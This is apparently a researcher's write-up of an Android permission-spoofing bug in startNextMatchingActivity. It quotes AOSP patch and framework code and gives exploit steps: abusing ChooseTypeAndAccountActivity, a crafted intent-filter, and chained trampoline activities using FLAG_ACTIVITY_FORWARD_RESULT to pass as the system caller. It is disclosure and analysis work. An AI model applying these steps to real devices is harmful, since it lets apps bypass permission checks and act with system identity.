Identity Squashing
Prelude
Let’s start with an Android Security Patch I reported last year.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
diff --git a/src/com/android/settings/applications/AppInfoBase.java b/src/com/android/settings/applications/AppInfoBase.java
index 10fce8e..e8a67de 100644
--- a/src/com/android/settings/applications/AppInfoBase.java
+++ b/src/com/android/settings/applications/AppInfoBase.java
@@ -20,6 +20,7 @@
import android.Manifest;
import android.app.Activity;
+import android.app.ActivityManager;
import android.app.Dialog;
import android.app.admin.DevicePolicyManager;
import android.app.settings.SettingsEnums;
@@ -34,6 +35,7 @@
import android.hardware.usb.IUsbManager;
import android.os.Bundle;
import android.os.IBinder;
+import android.os.RemoteException;
import android.os.ServiceManager;
import android.os.UserHandle;
import android.os.UserManager;
@@ -172,20 +174,19 @@
if (!(activity instanceof SettingsActivity)) {
return false;
}
- final String callingPackageName =
- ((SettingsActivity) activity).getInitialCallingPackage();
-
- if (TextUtils.isEmpty(callingPackageName)) {
- Log.w(TAG, "Not able to get calling package name for permission check");
+ try {
+ int callerUid = ActivityManager.getService().getLaunchedFromUid(
+ activity.getActivityToken());
+ if (ActivityManager.checkUidPermission(Manifest.permission.INTERACT_ACROSS_USERS_FULL,
+ callerUid) != PackageManager.PERMISSION_GRANTED) {
+ Log.w(TAG, "Uid " + callerUid + " does not have required permission "
+ + Manifest.permission.INTERACT_ACROSS_USERS_FULL);
+ return false;
+ }
+ return true;
+ } catch (RemoteException e) {
return false;
}
- if (mPm.checkPermission(Manifest.permission.INTERACT_ACROSS_USERS_FULL, callingPackageName)
- != PackageManager.PERMISSION_GRANTED) {
- Log.w(TAG, "Package " + callingPackageName + " does not have required permission "
- + Manifest.permission.INTERACT_ACROSS_USERS_FULL);
- return false;
- }
- return true;
}
Here’s what SettingsActivity.getInitialCallingPackage looks like:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public String getInitialCallingPackage() {
String callingPackage = PasswordUtils.getCallingAppPackageName(getActivityToken());
if (!TextUtils.equals(callingPackage, getPackageName())) {
return callingPackage;
}
String initialCallingPackage = getIntent().getStringExtra(EXTRA_INITIAL_CALLING_PACKAGE);
return TextUtils.isEmpty(initialCallingPackage) ? callingPackage : initialCallingPackage;
}
...
public static String getCallingAppPackageName(IBinder activityToken) {
String pkg = null;
try {
pkg = ActivityManager.getService().getLaunchedFromPackage(activityToken);
} catch (RemoteException e) {
Log.v(TAG, "Could not talk to activity manager.", e);
}
return pkg;
}
So basically, this patch makes the following changes:
- Identifies the caller using
IActivityManager.getLaunchedFromUid(activityToken)instead ofIActivityManager.getLaunchedFromPackage(activityToken) - Changes the permission check from
IPackageManager.checkPermission(packageName, permissionName)toActivityManager.checkUidPermission(permission, uid)accordingly
getLaunchedFromPackage and getLaunchedFromUid share the same server-side logic: both look up the ActivityRecord by activityToken and return the corresponding field. So in most cases, you’d expect the returned package to belong to the returned uid, since they come from the same record.
Now let me introduce an exception: IActivityTaskManager.startNextMatchingActivity.
This API is rarely used in daily development or the AOSP codebase. Here’s a typical use case:
- User is reading an article in app
Fooand clicks a link likemailto:root@playgrou.nd Foolaunches an implicit intent with the appropriate action and data URI- System resolves this implicit intent and finds 2 (or more) apps that can handle it (in priority order, which we’ll discuss later):
Bar, the user’s preferred email appBaz, a newly installed generic email client
- System uses chooseBestActivity and finds
Barthe best fit, so it routes the intent toBar Bargets launched but finds itself out of date and unable to proceed, so it callsstartNextMatchingActivityto let the system find and launch the next matching activity- System re-resolves the intent, rebuilds the candidate list, picks the next one after
Bar, and launches it — in this case,Baz
Let’s take a look at startNextMatchingActivity, focusing on the parts I’ve marked:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
public boolean startNextMatchingActivity(IBinder callingActivity, Intent intent,
Bundle bOptions) {
// Refuse possible leaked file descriptors
if (intent != null && intent.hasFileDescriptors()) {
throw new IllegalArgumentException("File descriptors passed in Intent");
}
SafeActivityOptions options = SafeActivityOptions.fromBundle(bOptions);
synchronized (mGlobalLock) {
final ActivityRecord r = ActivityRecord.isInRootTaskLocked(callingActivity);
if (r == null) {
SafeActivityOptions.abort(options);
return false;
}
if (!r.attachedToProcess()) {
// The caller is not running... d'oh!
SafeActivityOptions.abort(options);
return false;
}
intent = new Intent(intent);
// ⬇️
// Remove existing mismatch flag so it can be properly updated later
intent.removeExtendedFlags(Intent.EXTENDED_FLAG_FILTER_MISMATCH);
// The caller is not allowed to change the data.
intent.setDataAndType(r.intent.getData(), r.intent.getType());
// And we are resetting to find the next component...
intent.setComponent(null);
// ⬆️
final boolean debug = ((intent.getFlags() & Intent.FLAG_DEBUG_LOG_RESOLUTION) != 0);
final int userId = UserHandle.getCallingUserId();
ActivityInfo aInfo = null;
try {
List<ResolveInfo> resolves =
AppGlobals.getPackageManager().queryIntentActivities( // ⬅️️
intent, r.resolvedType,
PackageManager.MATCH_DEFAULT_ONLY | STOCK_PM_FLAGS,
userId).getList();
// Look for the original activity in the list...
final int N = resolves != null ? resolves.size() : 0;
for (int i = 0; i < N; i++) {
ResolveInfo rInfo = resolves.get(i);
if (rInfo.activityInfo.packageName.equals(r.packageName)
&& rInfo.activityInfo.name.equals(r.info.name)) {
// We found the current one... the next matching is
// after it.
i++;
if (i < N) {
aInfo = resolves.get(i).activityInfo; // ⬅️
}
if (debug) {
Slog.v(TAG, "Next matching activity: found current " + r.packageName
+ "/" + r.info.name);
Slog.v(TAG, "Next matching activity: next is " + ((aInfo == null)
? "null" : aInfo.packageName + "/" + aInfo.name));
}
break;
}
}
} catch (RemoteException e) {
}
if (aInfo == null) {
// Nobody who is next!
SafeActivityOptions.abort(options);
if (debug) Slog.d(TAG, "Next matching activity: nothing found");
return false;
}
intent.setComponent(new ComponentName(
aInfo.applicationInfo.packageName, aInfo.name));
intent.setFlags(intent.getFlags() & ~(Intent.FLAG_ACTIVITY_FORWARD_RESULT
| Intent.FLAG_ACTIVITY_CLEAR_TOP
| Intent.FLAG_ACTIVITY_MULTIPLE_TASK
| FLAG_ACTIVITY_NEW_TASK));
// Okay now we need to start the new activity, replacing the currently running activity.
// This is a little tricky because we want to start the new one as if the current one is
// finished, but not finish the current one first so that there is no flicker.
// And thus...
final boolean wasFinishing = r.finishing;
r.finishing = true;
// Propagate reply information over to the new activity.
final ActivityRecord resultTo = r.resultTo; // ⬅️
final String resultWho = r.resultWho;
final int requestCode = r.requestCode;
r.resultTo = null;
if (resultTo != null) {
resultTo.removeResultsLocked(r, resultWho, requestCode);
}
final int origCallingUid = Binder.getCallingUid();
final int origCallingPid = Binder.getCallingPid();
final long origId = Binder.clearCallingIdentity();
// TODO(b/64750076): Check if calling pid should really be -1.
try {
if (options == null) {
options = new SafeActivityOptions(ActivityOptions.makeBasic());
}
// Fixes b/230492947 b/337726734
// Prevents background activity launch through #startNextMatchingActivity
// launchedFromUid of the calling activity represents the app that launches it.
// It may have BAL privileges (i.e. the Launcher App). Using its identity to
// launch to launch next matching activity causes BAL.
// Change the realCallingUid to the calling activity's uid.
// In ActivityStarter, when caller is set, the callingUid and callingPid are
// ignored. So now both callingUid and realCallingUid is set to the caller app.
final int res = getActivityStartController()
.obtainStarter(intent, "startNextMatchingActivity")
.setCaller(r.app.getThread())
.setResolvedType(r.resolvedType)
.setActivityInfo(aInfo) // ⬅️
.setResultTo(resultTo != null ? resultTo.token : null) // ⬅️
.setResultWho(resultWho)
.setRequestCode(requestCode)
.setCallingPid(-1)
.setCallingUid(r.launchedFromUid) // ⬅️
.setCallingPackage(r.launchedFromPackage) // ⬅️
.setCallingFeatureId(r.launchedFromFeatureId)
.setRealCallingPid(origCallingPid)
.setRealCallingUid(origCallingUid)
.setActivityOptions(options)
.setUserId(userId)
.execute();
r.finishing = wasFinishing;
return res == ActivityManager.START_SUCCESS;
} finally {
Binder.restoreCallingIdentity(origId);
}
}
}
From this, we can conclude that when using this API:
- The
callingUidandcallingPackageare set toFoo, as in our previous use case (at least beforeexecute) - The component in the intent provided by
Barwill be ignored, and the data and type will be overwritten by the original intent - The resulting intent should match at least two candidates, with one ranked after
Bar
Consequently, the callingPackage field becomes the launchedFromPackage field of the resulting ActivityRecord for Baz:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
private int executeRequest(Request request) {
...
String callingPackage = request.callingPackage;
...
// ✨✨✨✨✨
// ⬇️ We won't reach this block in this round since FLAG_ACTIVITY_FORWARD_RESULT is trimmed unconditionally when using `startNextMatchingActivity`,
// but this piece of code is essential in our final chapter to escalate the impact.
// ✨✨✨✨✨
final int launchFlags = intent.getFlags();
if ((launchFlags & Intent.FLAG_ACTIVITY_FORWARD_RESULT) != 0 && sourceRecord != null) {
// Transfer the result target from the source activity to the new one being started,
// including any failures.
if (requestCode >= 0) {
SafeActivityOptions.abort(options);
return ActivityManager.START_FORWARD_AND_REQUEST_CONFLICT;
}
resultRecord = sourceRecord.resultTo;
if (resultRecord != null && !resultRecord.isInRootTaskLocked()) {
resultRecord = null;
}
resultWho = sourceRecord.resultWho;
requestCode = sourceRecord.requestCode;
sourceRecord.resultTo = null;
if (resultRecord != null) {
resultRecord.removeResultsLocked(sourceRecord, resultWho, requestCode);
}
if (sourceRecord.launchedFromUid == callingUid) {
// The new activity is being launched from the same uid as the previous activity
// in the flow, and asking to forward its result back to the previous. In this
// case the activity is serving as a trampoline between the two, so we also want
// to update its launchedFromPackage to be the same as the previous activity.
// Note that this is safe, since we know these two packages come from the same
// uid; the caller could just as well have supplied that same package name itself
// . This specifially deals with the case of an intent picker/chooser being
// launched in the app flow to redirect to an activity picked by the user, where
// we want the final activity to consider it to have been launched by the
// previous app activity.
callingPackage = sourceRecord.launchedFromPackage;
callingFeatureId = sourceRecord.launchedFromFeatureId;
}
}
...
final ActivityRecord r = new ActivityRecord.Builder(mService)
.setCaller(callerApp)
.setLaunchedFromPid(callingPid)
.setLaunchedFromUid(callingUid)
.setLaunchedFromPackage(callingPackage) // ⬅️
.setLaunchedFromFeature(callingFeatureId)
.setIntent(intent)
.setResolvedType(resolvedType)
.setActivityInfo(aInfo)
.setConfiguration(mService.getGlobalConfiguration())
.setResultTo(resultRecord)
.setResultWho(resultWho)
.setRequestCode(requestCode)
.setComponentSpecified(request.componentSpecified)
.setRootVoiceInteraction(voiceSession != null)
.setActivityOptions(checkedOptions)
.setSourceRecord(sourceRecord)
.build();
...
}
While callingUid gets immediately overwritten to callerApp.mInfo.uid (which is Bar) before being written to the resulting ActivityRecord for Baz:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
private int executeRequest(Request request) {
...
int callingUid = request.callingUid; // ⬅️
...
WindowProcessController callerApp = null;
if (caller != null) {
callerApp = mService.getProcessController(caller);
if (callerApp != null) {
callingPid = callerApp.getPid();
callingUid = callerApp.mInfo.uid; // ⬅️
} else {
Slog.w(TAG, "Unable to find app for caller " + caller + " (pid=" + callingPid
+ ") when starting: " + intent.toString());
err = START_PERMISSION_DENIED;
}
}
...
final ActivityRecord r = new ActivityRecord.Builder(mService)
.setCaller(callerApp)
.setLaunchedFromPid(callingPid)
.setLaunchedFromUid(callingUid) // ⬅️
.setLaunchedFromPackage(callingPackage)
.setLaunchedFromFeature(callingFeatureId)
.setIntent(intent)
.setResolvedType(resolvedType)
.setActivityInfo(aInfo)
.setConfiguration(mService.getGlobalConfiguration())
.setResultTo(resultRecord)
.setResultWho(resultWho)
.setRequestCode(requestCode)
.setComponentSpecified(request.componentSpecified)
.setRootVoiceInteraction(voiceSession != null)
.setActivityOptions(checkedOptions)
.setSourceRecord(sourceRecord)
.build();
}
Now we’ve constructed an ActivityRecord with its launchedFromPackage field set to Foo, but it was actually started by Bar.
Attacker View
In the normal use case, the entire flow starts with an implicit intent — the system resolves it, launches Bar, and Bar may then call startNextMatchingActivity.
However, for exploitation, the exact entrypoint is flexible, but the prerequisites are not:
- Attacker inherits a trusted
launchedFromPackage: Attacker must be launched by a principal whoselaunchedFromPackagethe Victim would trust. - Attacker controls “next match” selection: Attacker must be able to call
startNextMatchingActivitywith an intent such that Victim ranks right after Attacker in the resolve list.
Mapping to our attack scenario:
- Foo → Privileged: The component that launches Attacker (providing the
launchedFromPackagewe inherit) - Bar → Attacker: Our trampoline that calls
startNextMatchingActivity - Baz → Victim: The target activity that trusts
launchedFromPackage
Walkthrough
With that in mind, the exploit is straightforward:
- Start
android/.accounts.ChooseTypeAndAccountActivitywithallowableAccountTypesset to the one we registered - In our
AccountAuthenticator, return an intent pointing to ourTrampolineActivitywith data set topackage:play.ground- Add the following intent-filter for
TrampolineActivity:1 2 3 4 5 6 7
<intent-filter> <action android:name="android.settings.USAGE_ACCESS_SETTINGS" /> <category android:name="android.intent.category.DEFAULT" /> <data android:scheme="package" android:sspPrefix="play" /> </intent-filter>
- Add the following intent-filter for
-
android/.accounts.ChooseTypeAndAccountActivityautomatically launches the provided intent viastartActivityForResult - Once
TrampolineActivityis launched, invokestartNextMatchingActivityas follows:1 2 3 4 5
startNextMatchingActivity(Intent(Settings.ACTION_USAGE_ACCESS_SETTINGS).apply { data = Uri.parse("package:play.ground") putExtra(Intent.EXTRA_USER_HANDLE, UserHandle.of(10 - UserHandle.myUserId())) addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION) })
- In ATMS, the requested intent is revised (data/type overwritten from the original) and re-resolved, producing the following resolve list:
TrampolineActivitycom.android.settings/Settings$AppUsageAccessSettingsActivity1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<activity android:name="Settings$AppUsageAccessSettingsActivity" android:exported="true" android:label="@string/usage_access_title"> <intent-filter> <action android:name="android.settings.USAGE_ACCESS_SETTINGS"/> <category android:name="android.intent.category.DEFAULT"/> <data android:scheme="package"/> </intent-filter> <meta-data android:name="com.android.settings.FRAGMENT_CLASS" android:value="com.android.settings.applications.UsageAccessDetails"/> <meta-data android:name="com.android.settings.HIGHLIGHT_MENU_KEY" android:value="@string/menu_key_apps"/> </activity>
TrampolineActivityoutranksSettingsbecause we declared ansspPrefix, which yields a highermatchvalue when sorting the resolve list:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
public static final Comparator<ResolveInfo> RESOLVE_PRIORITY_SORTER = (r1, r2) -> { int v1 = r1.priority; int v2 = r2.priority; //System.out.println("Comparing: q1=" + q1 + " q2=" + q2); if (v1 != v2) { return (v1 > v2) ? -1 : 1; } v1 = r1.preferredOrder; v2 = r2.preferredOrder; if (v1 != v2) { return (v1 > v2) ? -1 : 1; } if (r1.isDefault != r2.isDefault) { return r1.isDefault ? -1 : 1; } v1 = r1.match; v2 = r2.match; //System.out.println("Comparing: m1=" + m1 + " m2=" + m2); if (v1 != v2) { // ⬅️ return (v1 > v2) ? -1 : 1; } if (r1.system != r2.system) { return r1.system ? -1 : 1; } if (r1.activityInfo != null) { return r1.activityInfo.packageName.compareTo(r2.activityInfo.packageName); } if (r1.serviceInfo != null) { return r1.serviceInfo.packageName.compareTo(r2.serviceInfo.packageName); } if (r1.providerInfo != null) { return r1.providerInfo.packageName.compareTo(r2.providerInfo.packageName); } return 0; };
com.android.settings/Settings$AppUsageAccessSettingsActivityis launched and checks the permission against its ownlaunchedFromPackage, which isandroid, allowing the permission check to pass
Limitations
Let’s summarize the limitations and exploit scenarios:
-
Victim trusts or checks the caller via
getLaunchedFromPackageThis API is primarily available to system UID or platform-signed apps, which typically have FLAG_SYSTEM set.
-
Attacker can craft an implicit intent where Victim ranks right after Attacker in the resolve list
Recall how
RESOLVE_PRIORITY_SORTERsorts matched components. In practice, Attacker cannot raise its ownpriorityabove 0 (though it can use negative values), and it cannot controlpreferredOrderor thesystemflag. Most exported intent-filters in Victim includeCATEGORY_DEFAULT, soisDefaultwon’t help either. When competing with a real Victim component, the most reliable lever is to craft an intent-filter that gives Attacker a highermatchvalue than Victim.
These restrictions dramatically limit the targets we can reach.
Identity Squashing
Remember the ✨-marked code block we skipped earlier? Time to revisit it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (sourceRecord.launchedFromUid == callingUid) {
// The new activity is being launched from the same uid as the previous activity
// in the flow, and asking to forward its result back to the previous. In this
// case the activity is serving as a trampoline between the two, so we also want
// to update its launchedFromPackage to be the same as the previous activity.
// Note that this is safe, since we know these two packages come from the same
// uid; the caller could just as well have supplied that same package name itself
// . This specifially deals with the case of an intent picker/chooser being
// launched in the app flow to redirect to an activity picked by the user, where
// we want the final activity to consider it to have been launched by the
// previous app activity.
callingPackage = sourceRecord.launchedFromPackage;
callingFeatureId = sourceRecord.launchedFromFeatureId;
}
As the comments suggest, this logic is specifically designed for ChooserActivity and ResolverActivity.
ChooserActivity and ResolverActivity are system components intended to act as transparent trampolines in the activity flow. To achieve this transparency, they utilize startActivityAsCaller in conjunction with FLAG_ACTIVITY_FORWARD_RESULT. The former instructs ATMS to perform all permission checks against the original caller rather than the Chooser or Resolver itself, while the latter ensures that the callee’s result is returned directly to that original caller. Crucially, within this code block, the callingPackage—which populates ActivityRecord.launchedFromPackage—is also revised to reflect the original caller’s identity.
Enough about ChooserActivity and ResolverActivity, let’s return to our walkthrough.
Recall that the attacker controls the intent-filter design. By registering multiple activities that match the same intent and carefully tuning their relative priorities (via sspPrefix specificity, negative priority values, or other tricks), the attacker can ensure that TrampolineActivity ranks first, followed by TrampolineActivity2. When TrampolineActivity calls startNextMatchingActivity, the system dutifully picks TrampolineActivity2.
Now, TrampolineActivity2 can call startActivity with FLAG_ACTIVITY_FORWARD_RESULT, targeting the Victim directly.
As a result, the ActivityRecord chain would look like this:
Attacker/IndexActivity->startActivityandroid/ChooseTypeAndAccountActivity->startActivityForResult-
Attacker/TrampolineActivity->startNextMatchingActivity1 2 3 4 5
ActivityRecord<Attacker/TrampolineActivity> { launchedFromUid = 1000 launchedFromPackage = android resultTo = android } -
Attacker/TrampolineActivity2->startActivity(Intent(Victim).addFlags(FLAG_ACTIVITY_FORWARD_RESULT))1 2 3 4 5
ActivityRecord<Attacker/TrampolineActivity2> { launchedFromUid = attacker.uid launchedFromPackage = android resultTo = android } -
Victim1 2 3 4
ActivityRecord<Victim> { launchedFromUid = attacker.uid launchedFromPackage = android }
Epilogue
In recent memory, startNextMatchingActivity has been the source of numerous security issues, ranging from identity spoofing to background activity launches (curious readers can check the related comments and commit messages for details). Despite its troubled history, it is rarely used in daily development.
It seems this API finds more love in security research than in actual codebases. I’m just glad to have documented this little corner of the framework before moving on to the “next matching” adventure.